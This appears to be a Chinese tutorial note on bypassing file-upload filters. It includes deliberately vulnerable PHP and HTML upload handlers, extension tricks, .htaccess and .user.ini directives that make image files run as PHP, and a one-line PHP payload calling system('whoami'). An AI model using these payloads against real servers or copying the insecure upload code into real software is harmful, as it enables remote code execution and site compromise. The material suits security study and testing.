文件上传的一些基础绕过
1.绕过客户端
禁用js代码即可
点击查看代码
<!DOCTYPE html>
<html>
<head>
<title>不安全的文件上传</title>
</head>
<body>
<h2>上传你的头像(仅限图片)</h2>
<!-- 只有客户端验证的表单 -->
<form id="uploadForm" onsubmit="return validateFile()">
<input type="file" id="fileInput" accept=".jpg,.png">
<button type="submit">上传</button>
</form>
<script>
function validateFile() {
const file = document.getElementById('fileInput').files[0];
if (!file) {
alert('请选择文件');
return false;
}
if (!file.name.endsWith('.jpg') && !file.name.endsWith('.png')) {
alert('只允许.jpg 和.png 文件');
return false;
}
alert('文件验证通过!');
return true;
}
</script>
</body>
</html>
点击查看代码
<?php
if(isset($_FILES['file'])) {
$allowed_mime = ['image/jpeg', 'image/png'];
$file_mime = $_FILES['file']['type'];
if(in_array($file_mime, $allowed_mime)) {
$upload_path = 'uploads/' . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $upload_path);
echo "文件上传成功: " . htmlspecialchars($_FILES['file']['name']);
} else {
echo "错误: 只允许 JPEG 和 PNG 图片";
}
}
?>
抓包,修改Content-Type。
2)文件后缀绕过
后缀大小写绕过(Php)
空格绕过(php )
点绕过(php.)
::$DATA绕过(php::$DATA)
.htaccess绕过
原理:当前目及其子目录httpd-conf 是 Apache 的系统配置文件,一个全局的配置文件,对整个 web 服务起作用;而.htaccess 也是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用,改变当前目录以及子目录的apache配置信息
写入:
点击查看代码
AddType application/x-httpd-php .gif
点击查看代码
<FilesMatch "xxx.png">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini
.user,它会影响php.ini中的配置,从而将指定的文件内容按php来解析,影响的范围该文件所在的目录以及子目录。需要等待php.ini中的user_ini.cache_ttl设置的时间或重启Apache才能生效,且只在php5.3.0之后的版本才生效。.user.ini比.hta用的更广,不管是nginx/Apache/IIS,只要是以fastcgi运行的php都可以用这个办法。如果使用Apache,则用.htaccess文件有同样的效果。
注意:.htaccess只能用于Apache。
传入
点击查看代码
auto_prepend_file = xxx.jpg
点击查看代码
<script language='php'>system('whoami');</script>
点击查看代码
<?php
$saveDir = 'images/';
$fileName = $_GET['filename'];
$uploadFile = $saveDir . $fileName;
$allowedExt = ['jpg', 'png', 'jpeg'];
$ext = pathinfo($uploadFile, PATHINFO_EXTENSION);
if (in_array($ext, $allowedExt)) {
file_put_contents($uploadFile, '恶意内容');
echo '上传“成功”,保存路径:' . $uploadFile;
} else {
echo '错误:仅允许图片后缀';
}
3)文件内容检测
添加文件头和copy制作图片马。
浙公网安备 33010602011771号